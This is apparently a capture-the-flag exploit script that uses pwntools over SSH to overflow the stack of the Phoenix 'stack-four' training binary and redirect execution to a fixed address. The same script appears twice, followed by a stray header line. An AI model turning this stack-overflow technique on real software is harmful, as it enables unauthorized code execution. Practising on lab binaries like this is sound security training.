<reponame>danishbelal/ctfs
#!/usr/bin/env python3

from pwn import *

binary = "./stack-four"

context.terminal = ["gnome-terminal", "-e"]

binary = "/opt/phoenix/amd64/stack-four"
s = ssh(host="127.0.0.1", user="user", password="<PASSWORD>", port=2222)
p = s.process(binary)

overflow = b"A"*80 + p64(0) + p64(0x000000000040061d)

p.sendline(overflow)

for line in p.recvlines(3):
    print(line)

#!/usr/bin/env python3

from pwn import *

binary = "./stack-four"

context.terminal = ["gnome-terminal", "-e"]

binary = "/opt/phoenix/amd64/stack-four"
s = ssh(host="127.0.0.1", user="user", password="<PASSWORD>", port=2222)
p = s.process(binary)

overflow = b"A"*80 + p64(0) + p64(0x000000000040061d)

p.sendline(overflow)

for line in p.recvlines(3):
    print(line)
#!/usr/bin/env python3